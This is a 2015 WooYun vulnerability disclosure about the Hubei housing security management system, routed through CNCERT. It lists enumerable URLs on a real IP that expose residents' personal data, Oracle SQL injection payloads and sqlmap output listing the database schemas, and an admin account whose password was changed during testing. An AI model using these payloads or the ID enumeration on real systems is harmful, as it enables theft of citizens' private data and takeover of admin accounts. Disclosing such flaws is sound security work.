当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0138833

漏洞标题：湖北省住房保障管理信息系统漏洞大礼包可泄露海量数据

相关厂商：湖北省住房保障管理信息系统

漏洞作者： 二愣子

提交时间：2015-09-06 12:30

修复时间：2015-10-23 08:42

公开时间：2015-10-23 08:42

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-06： 细节已通知厂商并且等待厂商处理中
2015-09-08： 厂商已经确认，细节仅向厂商公开
2015-09-18： 细节向核心白帽子及相关领域专家公开
2015-09-28： 细节向普通白帽子公开
2015-10-08： 细节向实习白帽子公开
2015-10-23： 细节向公众公开

简要描述：

多乌云多机会

详细说明：

该系统存在注入、越权操作等高危漏洞。泄露大量全省住房公积金数据、湖北省建筑工程管理局OA系统数据、湖北八大员考试数据，住房保证和房产管理局数据。。。
该系统存在各种高危漏洞，愿管理员引起重视。以下是一些特别明显的漏洞~
1、越权遍历漏洞第一处

http://59.175.169.110:6080/ZRDJ_UI/Count/personDetail.aspx?sqbh=220238
泄露个人姓名、住址、收入、身份证信息、年龄、电话、工作单位、户籍信息。
以及家庭成员信息
修改sqbh参数即可遍历，简单测试了2202389。粗略估计上百万数据


2、遍历漏洞第二处

http://59.175.169.110:6080/ZRDJ_UI/FamilyManage1.aspx?keyId=2213008
与上面相同


3、越权访问、注入操作漏洞。
遍历：

http://59.175.169.110:6080/BZJDGL/tscl/tsclSys_Edit.aspx?id=47（修改id参数即可遍历）


注入payload

---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=47' AND 1111=1111 AND 'cHuZ'='cHuZ
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: id=47' AND 4629=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(110)||CHR(108)||CHR(104)||CHR(58)||(SELECT (CASE WHEN (4629=4629) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(97)||CHR(115)||CHR(110)||CHR(58)||CHR(62))) FROM DUAL) AND 'xmiY'='xmiY
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: id=47' AND 9867=DBMS_PIPE.RECEIVE_MESSAGE(CHR(76)||CHR(73)||CHR(83)||CHR(110),5) AND 'EWtA'='EWtA
---


4、注入漏洞

http://59.175.169.110:6080/DataTJ/statsChart.aspx?area=襄阳市


注入payload

---
Place: GET
Parameter: area
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: area=襄阳市%' AND 4493=4493 AND '%'='
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: area=襄阳市%' AND 7693=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(106)||CHR(121)||CHR(106)||CHR(58)||(SELECT (CASE WHEN (7693=7693) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(114)||CHR(120)||CHR(106)||CHR(58)||CHR(62))) FROM DUAL) AND '%'='
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: area=襄阳市%' AND 6844=DBMS_PIPE.RECEIVE_MESSAGE(CHR(80)||CHR(100)||CHR(72)||CHR(85),5) AND '%'='
---


5、越权访问、注入漏洞（危害最大的一处）

http://59.175.169.110:6080/User/UserEdit.aspx?keyId=8
可直接遍历所有管理员账号，修改管理员密码以及个人信息


注入payload:

---
Place: GET
Parameter: keyId
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: keyId=8' AND 6656=6656 AND 'xTar'='xTar
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: keyId=8' AND 4928=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(121)||CHR(108)||CHR(99)||CHR(58)||(SELECT (CASE WHEN (4928=4928) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(100)||CHR(111)||CHR(115)||CHR(58)||CHR(62))) FROM DUAL) AND 'ruJP'='ruJP
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: keyId=8' AND 5946=DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(122)||CHR(80)||CHR(114),5) AND 'crsZ'='crsZ
---

漏洞证明：

1、第一处遍历（http://59.175.169.110:6080/ZRDJ_UI/Count/personDetail.aspx?sqbh=220238）

1.png


2、第二处遍历（http://59.175.169.110:6080/ZRDJ_UI/FamilyManage1.aspx?keyId=2213008）

2.png


3、第三处遍历、越权（http://59.175.169.110:6080/User/UserEdit.aspx?keyId=8）

3.png



该账户名为:jianglingxian
修改密码为:201593test
登录地址:http://59.175.169.110:6080/

4.png


(测试之后，密码已经重置)
4、注入信息

I:\SQL注入\sqlmap>sqlmap.py -u "http://59.175.169.110:6080/User/UserEdit.aspx?keyId=8" --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibilit
y to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage
 caused by this program
[*] starting at 17:57:26
[17:57:26] [INFO] resuming back-end DBMS 'oracle'
[17:57:26] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: keyId
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: keyId=8' AND 6656=6656 AND 'xTar'='xTar
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: keyId=8' AND 4928=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(121)||CHR(108)||CHR(99)||CHR(58)||(SELECT (CASE WHEN (4928=4
928) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(100)||CHR(111)||CHR(115)||CHR(58)||CHR(62))) FROM DUAL) AND 'ruJP'='ruJP
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: keyId=8' AND 5946=DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(122)||CHR(80)||CHR(114),5) AND 'crsZ'='crsZ
---
[17:57:27] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Oracle
[17:57:27] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[17:57:27] [INFO] fetching database (schema) names
[17:57:27] [INFO] the SQL query used returns 38 entries
available databases [38]:
[*] CLGL
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_030000
[*] FLOWS_FILES
[*] HBBZF
[*] HBJZGCGLJ
[*] HBJZGCGLJWF
[*] HBKSPJ
[*] HBSBDYKS
[*] HBZFBZ
[*] HBZFBZNEW
[*] HBZFBZTEMP
[*] HBZFBZTEST
[*] HBZFBZTEST1
[*] HBZFBZWEB
[*] HQZXTEST
[*] HYHOUSE
[*] HYHOUSE1
[*] HYHOUSETEST
[*] LJCLC
[*] LJCLCTEST
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SDE
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TESTF
[*] TSMSYS
[*] WK_TEST
[*] WKSYS
[*] WMSYS
[*] XDB


只贴上当前库的数据量

5.png


其它库里面包含全省住房公积金数据、湖北省建筑工程管理局OA系统数据、湖北八大员考试数据，住房保证和房产管理局数据
PS:抛开这几个漏洞不算，里面其实很多的后台注入。甚至，登录框都存在盲注。望引起重视

修复方案：

你们更专业

版权声明：转载请注明来源 二愣子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2015-09-08 08:41

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给湖北分中心，由其后续协调网站管理单位处置。按多个风险评分，rank 16

最新状态：

暂无